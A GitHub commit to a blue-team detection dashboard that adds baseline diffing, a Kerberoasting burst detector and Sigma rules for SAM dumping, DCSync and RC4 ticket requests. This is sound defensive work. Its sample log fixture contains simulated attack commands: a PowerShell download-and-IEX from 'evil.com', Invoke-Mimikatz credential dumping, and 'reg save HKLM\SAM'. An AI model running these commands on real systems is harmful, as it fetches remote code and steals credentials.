Skip to content

Commit 90d2d87

Browse files
author
fevra-dev
committed
Add live baseline diffing and credential access detection (SAM, DCSync, Kerberoasting)
- baselineEngine: parse CSV/JSON baselines, compute diff, export baseline - EventContext: baseline state, ingestBaseline/clearBaseline, auto-recompute on ingest - BaselineDiff: wired to live uploads and diff results; dynamic tab count in Shell - Sigma SIGMA-029–031: SAM dump, DCSync (4662), Kerberos RC4 (4769) - sigmaMatcher: raw Details/EventData fallback for domain-specific fields - kerberoasting engine: RC4 burst detection; Dashboard banner; sample + README updates Made-with: Cursor
1 parent 981a3ed commit 90d2d87

11 files changed

Lines changed: 1152 additions & 215 deletions

File tree

README.md

Lines changed: 54 additions & 14 deletions
Large diffs are not rendered by default.

vigil-run/public/sample/hayabusa-demo.jsonl

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,3 +38,6 @@
3838
{"Timestamp":"2025-02-24T02:32:00.000Z","RuleTitle":"PowerShell ScriptBlock Logging","Level":"info","Computer":"WORKSTATION-07","Channel":"Microsoft-Windows-PowerShell/Operational","EventID":4104,"Details":{"ScriptBlockText":"$wc = New-Object System.Net.WebClient; $url = 'http://evil.com/payload';","ScriptBlockId":"d4e5f6a7-1111-2222-3333-abcdef123456","MessageNumber":"1","MessageTotal":"3","Path":"C:\\Temp\\update.ps1","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","CommandLine":"","User":"CORP\\jsmith","ProcessGuid":"{abc-040}","ParentProcessGuid":"{abc-000}"},"MitreTags":["attack.t1059.001"],"MitreTactics":["Execution"]}
3939
{"Timestamp":"2025-02-24T02:32:01.000Z","RuleTitle":"PowerShell ScriptBlock Logging","Level":"info","Computer":"WORKSTATION-07","Channel":"Microsoft-Windows-PowerShell/Operational","EventID":4104,"Details":{"ScriptBlockText":"$data = $wc.DownloadString($url); IEX $data;","ScriptBlockId":"d4e5f6a7-1111-2222-3333-abcdef123456","MessageNumber":"2","MessageTotal":"3","Path":"C:\\Temp\\update.ps1","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","CommandLine":"","User":"CORP\\jsmith","ProcessGuid":"{abc-041}","ParentProcessGuid":"{abc-000}"},"MitreTags":["attack.t1059.001"],"MitreTactics":["Execution"]}
4040
{"Timestamp":"2025-02-24T02:32:02.000Z","RuleTitle":"PowerShell ScriptBlock Logging","Level":"info","Computer":"WORKSTATION-07","Channel":"Microsoft-Windows-PowerShell/Operational","EventID":4104,"Details":{"ScriptBlockText":"Invoke-Mimikatz -DumpCreds | Out-File C:\\Temp\\creds.txt","ScriptBlockId":"d4e5f6a7-1111-2222-3333-abcdef123456","MessageNumber":"3","MessageTotal":"3","Path":"C:\\Temp\\update.ps1","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","CommandLine":"","User":"CORP\\jsmith","ProcessGuid":"{abc-042}","ParentProcessGuid":"{abc-000}"},"MitreTags":["attack.t1059.001"],"MitreTactics":["Execution"]}
41+
{"Timestamp":"2025-02-24T02:33:00.000Z","RuleTitle":"SAM Registry Hive Dump","Level":"crit","Computer":"WORKSTATION-07","Channel":"Microsoft-Windows-Sysmon/Operational","EventID":1,"Details":{"CommandLine":"reg.exe save HKLM\\SAM C:\\Users\\jsmith\\AppData\\Local\\Temp\\sam.hiv","Image":"C:\\Windows\\System32\\reg.exe","ParentImage":"C:\\Windows\\System32\\cmd.exe","User":"CORP\\jsmith","ProcessGuid":"{abc-050}","ParentProcessGuid":"{abc-000}"},"MitreTags":["attack.t1003.002"],"MitreTactics":["Credential Access"]}
42+
{"Timestamp":"2025-02-24T02:34:00.000Z","RuleTitle":"DCSync Directory Replication","Level":"crit","Computer":"DC-01","Channel":"Security","EventID":4662,"Details":{"SubjectUserName":"jsmith","SubjectDomainName":"CORP","ObjectType":"%{19195a5b-6da0-11d0-afd3-00c04fd930c9}","ObjectName":"DC=corp,DC=local","Properties":"%%7688 {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}","AccessMask":"0x100","CommandLine":"","Image":"","ProcessGuid":"{dc-050}","ParentProcessGuid":""},"MitreTags":["attack.t1003.006"],"MitreTactics":["Credential Access"]}
43+
{"Timestamp":"2025-02-24T02:35:00.000Z","RuleTitle":"Kerberos Service Ticket Request — RC4","Level":"high","Computer":"DC-01","Channel":"Security","EventID":4769,"Details":{"TargetUserName":"jsmith","ServiceName":"MSSQLSvc/sql01.corp.local:1433","TicketEncryptionType":"0x17","IpAddress":"10.10.5.22","CommandLine":"","Image":"","ProcessGuid":"{dc-060}","ParentProcessGuid":""},"MitreTags":["attack.t1558.003"],"MitreTactics":["Credential Access"]}

vigil-run/src/components/BaselineDiff.jsx

Lines changed: 432 additions & 189 deletions
Large diffs are not rendered by default.

vigil-run/src/components/Dashboard.jsx

Lines changed: 32 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ import { EIDStats } from './EIDStats';
88
* Dashboard — top-level incident overview with stats, threat actor
99
* attribution, and a condensed kill-chain timeline.
1010
*/
11-
export function Dashboard({ events, correlations, ransomwareChain, lateralMovement }) {
11+
export function Dashboard({ events, correlations, ransomwareChain, lateralMovement, kerberoasting }) {
1212
const critCount = events.filter(e => e.severity === "critical").length;
1313
const highCount = events.filter(e => e.severity === "high").length;
1414
const hosts = [...new Set(events.map(e => e.host))];
@@ -103,6 +103,37 @@ export function Dashboard({ events, correlations, ransomwareChain, lateralMoveme
103103
</div>
104104
)}
105105

106+
{/* Kerberoasting banner — credential access alert */}
107+
{kerberoasting?.detected && (
108+
<div style={{
109+
background: T.high + "0a", border: `1px solid ${T.high}30`,
110+
padding: "14px 20px", display: "flex", alignItems: "center", gap: 16,
111+
borderLeft: `3px solid ${T.high}`,
112+
}}>
113+
<div style={{
114+
width: 32, height: 32, borderRadius: "50%",
115+
display: "flex", alignItems: "center", justifyContent: "center",
116+
background: T.high + "20", flexShrink: 0,
117+
}}>
118+
<span style={{ fontSize: 14, color: T.high, fontWeight: 700 }}>K</span>
119+
</div>
120+
<div style={{ flex: 1 }}>
121+
<div style={{
122+
fontSize: 11, fontWeight: 700, color: T.high,
123+
letterSpacing: "0.08em", marginBottom: 4,
124+
}}>
125+
KERBEROASTING DETECTED
126+
</div>
127+
<div style={{ fontSize: 11, color: T.text2, lineHeight: 1.6 }}>
128+
{kerberoasting.bursts.length} service ticket burst{kerberoasting.bursts.length !== 1 ? "s" : ""} from{" "}
129+
{new Set(kerberoasting.bursts.map(b => b.account)).size} account{new Set(kerberoasting.bursts.map(b => b.account)).size !== 1 ? "s" : ""}.{" "}
130+
{kerberoasting.bursts.map(b => `${b.account} requested ${b.serviceCount} RC4 tickets`).join("; ")}.
131+
Review EID 4769 events with RC4 encryption in Log analyser.
132+
</div>
133+
</div>
134+
</div>
135+
)}
136+
106137
{/* Active incident notice */}
107138
<div style={{ borderLeft: `2px solid ${T.critical}`, paddingLeft: 16, paddingTop: 8, paddingBottom: 8, background: "#140808" }}>
108139
<div style={{ fontSize: 11, fontWeight: 600, color: T.critical, letterSpacing: "0.06em", marginBottom: 4 }}>ACTIVE INCIDENT — LotL Multi-Stage Intrusion</div>

vigil-run/src/components/Shell.jsx

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ import { T } from "./tokens";
99
import { Mono } from "./atoms";
1010
import { useEvents } from "../store/EventContext";
1111
import { SIGMA_RULES } from "../data/sigmaRules";
12-
import { NEW_FINDINGS } from "../data/baselineData";
1312
import { exportJSON, exportCSV } from "../engine/exporter";
1413
import { Dashboard } from "./Dashboard";
1514
import { LogAnalyzer } from "./LogAnalyzer";
@@ -28,7 +27,7 @@ import { FileDropZone, ImportButton } from "./FileInput";
2827
export default function Shell() {
2928
const [tab, setTab] = useState("dashboard");
3029
const [showExport, setShowExport] = useState(false);
31-
const { events, correlations, ransomwareChain, lateralMovement, source, fileName, isProcessing, stats, ingestFile, loadSample } = useEvents();
30+
const { events, correlations, ransomwareChain, lateralMovement, kerberoasting, baseline, baselineDiff, source, fileName, isProcessing, stats, ingestFile, ingestBaseline, clearBaseline, loadSample } = useEvents();
3231

3332
const tabs = [
3433
{ id: "dashboard", label: "Dashboard" },
@@ -39,7 +38,7 @@ export default function Shell() {
3938
{ id: "logons", label: "Logon summary" },
4039
{ id: "ransomware", label: "Ransomware chain" },
4140
{ id: "lateral", label: "Lateral movement" },
42-
{ id: "baseline", label: "Baseline diff" },
41+
{ id: "baseline", label: baseline?.entries?.length > 0 && baselineDiff?.stats?.new > 0 ? `Baseline diff (${baselineDiff.stats.new})` : "Baseline diff" },
4342
{ id: "sigma", label: "Sigma workshop" },
4443
{ id: "mitre", label: "ATT&CK map" },
4544
{ id: "lolbins", label: "LOLBin radar" },
@@ -182,7 +181,7 @@ export default function Shell() {
182181
<FileDropZone onIngest={ingestFile} />
183182
</div>
184183
)}
185-
<Dashboard events={events} correlations={correlations} ransomwareChain={ransomwareChain} lateralMovement={lateralMovement} />
184+
<Dashboard events={events} correlations={correlations} ransomwareChain={ransomwareChain} lateralMovement={lateralMovement} kerberoasting={kerberoasting} />
186185
</div>
187186
)}
188187
{tab === "logs" && <LogAnalyzer events={events} />}
@@ -192,7 +191,7 @@ export default function Shell() {
192191
{tab === "logons" && <LogonSummary events={events} />}
193192
{tab === "ransomware" && <RansomwareChain events={events} ransomwareChain={ransomwareChain} />}
194193
{tab === "lateral" && <LateralMovement lateralMovement={lateralMovement} />}
195-
{tab === "baseline" && <BaselineDiff />}
194+
{tab === "baseline" && <BaselineDiff events={events} baseline={baseline} baselineDiff={baselineDiff} ingestBaseline={ingestBaseline} clearBaseline={clearBaseline} />}
196195
{tab === "sigma" && <SigmaWorkshop />}
197196
{tab === "mitre" && <MitreMap />}
198197
{tab === "lolbins" && <LolbinRadar />}
@@ -201,7 +200,7 @@ export default function Shell() {
201200
{/* Footer */}
202201
<div style={{ borderTop: `1px solid ${T.border}`, padding: "12px 32px", display: "flex", justifyContent: "space-between", maxWidth: 1360, margin: "0 auto" }}>
203202
<span style={{ fontSize: 10, color: T.text3, letterSpacing: "0.06em" }}>
204-
Vigil 4.0 · {SIGMA_RULES.length} Sigma rules · MITRE ATT&CK v15 · Ransomware chain · Lateral movement · PS decoder · Hayabusa/Chainsaw ingestion
203+
Vigil 6.0 · {SIGMA_RULES.length} Sigma rules · MITRE ATT&CK v15 · Ransomware chain · Lateral movement · Credential access · PS decoder · ScriptBlock reassembly · Baseline diffing
205204
</span>
206205
<span style={{ fontSize: 10, color: T.text3, letterSpacing: "0.06em" }}>Detection Engineering · DFIR · Blue Team Portfolio</span>
207206
</div>

vigil-run/src/data/mitreData.js

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,11 @@ export const MITRE_TECHNIQUES = [
4545
{ id: "T1087.002", name: "Account Discovery: Domain Account", tactic: "Credential Access", severity: "high" },
4646
{ id: "T1027.010", name: "Command Obfuscation", tactic: "Defense Evasion", severity: "high" },
4747
{ id: "T1218", name: "System Binary Proxy Execution", tactic: "Defense Evasion", severity: "high" },
48+
49+
// Sprint 6 additions — Credential Access beyond LSASS
50+
{ id: "T1003.002", name: "SAM Registry Dump", tactic: "Credential Access", severity: "critical" },
51+
{ id: "T1003.006", name: "DCSync", tactic: "Credential Access", severity: "critical" },
52+
{ id: "T1558.003", name: "Kerberoasting", tactic: "Credential Access", severity: "critical" },
4853
];
4954

5055
export const TACTIC_ORDER = ["Execution", "Persistence", "Privilege Escalation", "Defense Evasion", "Credential Access", "Lateral Movement", "Command & Control", "Impact"];

vigil-run/src/data/sigmaRules.js

Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1205,5 +1205,138 @@ level: critical
12051205
tags:
12061206
- attack.defense_evasion
12071207
- attack.t1218`
1208+
},
1209+
1210+
// ── Sprint 6: Credential Access Detection (SIGMA-029 to SIGMA-031) ────
1211+
1212+
{
1213+
id: "SIGMA-029",
1214+
title: "SAM Registry Hive Dump via reg.exe",
1215+
corrId: null,
1216+
status: "stable",
1217+
level: "critical",
1218+
tags: ["attack.credential_access", "attack.t1003.002"],
1219+
references: ["https://attack.mitre.org/techniques/T1003/002/"],
1220+
yaml: `title: SAM Registry Hive Dump via reg.exe
1221+
id: c1d2e3f4-aaaa-4ccc-daaa-aaaaaaaaa001
1222+
status: stable
1223+
description: |
1224+
Detects reg.exe saving SAM, SYSTEM, or SECURITY registry hives to
1225+
disk. These three hives together enable offline credential extraction
1226+
using tools like secretsdump.py or mimikatz. Any 'reg save' targeting
1227+
HKLM\\SAM, HKLM\\SYSTEM, or HKLM\\SECURITY is a strong indicator of
1228+
credential harvesting and should trigger immediate investigation.
1229+
author: VIGIL Detection Engineering
1230+
date: 2025-03-15
1231+
mitre_attack:
1232+
- T1003.002 # OS Credential Dumping: Security Account Manager
1233+
logsource:
1234+
category: process_creation
1235+
product: windows
1236+
detection:
1237+
selection_cmd:
1238+
CommandLine|contains|all:
1239+
- 'reg'
1240+
- 'save'
1241+
selection_hive:
1242+
CommandLine|contains:
1243+
- 'HKLM\\SAM'
1244+
- 'HKLM\\SYSTEM'
1245+
- 'HKLM\\SECURITY'
1246+
- 'hklm\\sam'
1247+
- 'hklm\\system'
1248+
- 'hklm\\security'
1249+
condition: selection_cmd and selection_hive
1250+
falsepositives:
1251+
- Legitimate backup scripts exporting registry hives (rare, validate context)
1252+
level: critical
1253+
tags:
1254+
- attack.credential_access
1255+
- attack.t1003.002`
1256+
},
1257+
1258+
{
1259+
id: "SIGMA-030",
1260+
title: "DCSync — Directory Replication via EID 4662",
1261+
corrId: null,
1262+
status: "stable",
1263+
level: "critical",
1264+
tags: ["attack.credential_access", "attack.t1003.006"],
1265+
references: ["https://attack.mitre.org/techniques/T1003/006/", "https://adsecurity.org/?p=1729"],
1266+
yaml: `title: DCSync Attack — Directory Replication Access Rights Requested
1267+
id: c1d2e3f4-aaaa-4ccc-daaa-aaaaaaaaa002
1268+
status: stable
1269+
description: |
1270+
Detects EID 4662 (Directory Service Access) where the Properties
1271+
field contains Active Directory replication GUIDs. When a non-DC
1272+
account requests DS-Replication-Get-Changes-All or Get-Changes,
1273+
it indicates a DCSync attack — typically via Mimikatz's
1274+
lsadump::dcsync. This allows an attacker to replicate any domain
1275+
account's password hash remotely without touching LSASS.
1276+
author: VIGIL Detection Engineering
1277+
date: 2025-03-15
1278+
mitre_attack:
1279+
- T1003.006 # OS Credential Dumping: DCSync
1280+
logsource:
1281+
product: windows
1282+
service: security
1283+
detection:
1284+
selection:
1285+
EventID: 4662
1286+
Properties|contains:
1287+
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
1288+
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
1289+
- '89e95b76-444d-4c62-991a-0facbeda640c'
1290+
filter_dc:
1291+
SubjectUserName|endswith: '$'
1292+
condition: selection and not filter_dc
1293+
falsepositives:
1294+
- Domain Controller machine accounts performing legitimate replication
1295+
- Azure AD Connect service accounts (validate naming convention)
1296+
level: critical
1297+
tags:
1298+
- attack.credential_access
1299+
- attack.t1003.006`
1300+
},
1301+
1302+
{
1303+
id: "SIGMA-031",
1304+
title: "Kerberos RC4 Service Ticket Request — Kerberoasting Indicator",
1305+
corrId: null,
1306+
status: "stable",
1307+
level: "high",
1308+
tags: ["attack.credential_access", "attack.t1558.003"],
1309+
references: ["https://attack.mitre.org/techniques/T1558/003/"],
1310+
yaml: `title: Kerberos Service Ticket Requested with RC4 Encryption
1311+
id: c1d2e3f4-aaaa-4ccc-daaa-aaaaaaaaa003
1312+
status: stable
1313+
description: |
1314+
Detects EID 4769 (Kerberos Service Ticket Operation) where the
1315+
TicketEncryptionType is 0x17 (RC4-HMAC). Modern environments use
1316+
AES (0x11/0x12); RC4 requests are a strong indicator of
1317+
Kerberoasting — requesting service tickets with weak encryption
1318+
for offline password cracking. Individual hits are suspicious;
1319+
the Kerberoasting burst detector escalates 5+ hits to critical.
1320+
author: VIGIL Detection Engineering
1321+
date: 2025-03-15
1322+
mitre_attack:
1323+
- T1558.003 # Steal or Forge Kerberos Tickets: Kerberoasting
1324+
logsource:
1325+
product: windows
1326+
service: security
1327+
detection:
1328+
selection:
1329+
EventID: 4769
1330+
TicketEncryptionType|contains: '0x17'
1331+
filter_machine:
1332+
SubjectUserName|endswith: '$'
1333+
condition: selection and not filter_machine
1334+
falsepositives:
1335+
- Legacy applications requiring RC4 for backward compatibility
1336+
- Service accounts with forced RC4 encryption (validate with AD team)
1337+
level: high
1338+
tags:
1339+
- attack.credential_access
1340+
- attack.t1558.003`
12081341
}
12091342
];

0 commit comments

Comments
 (0)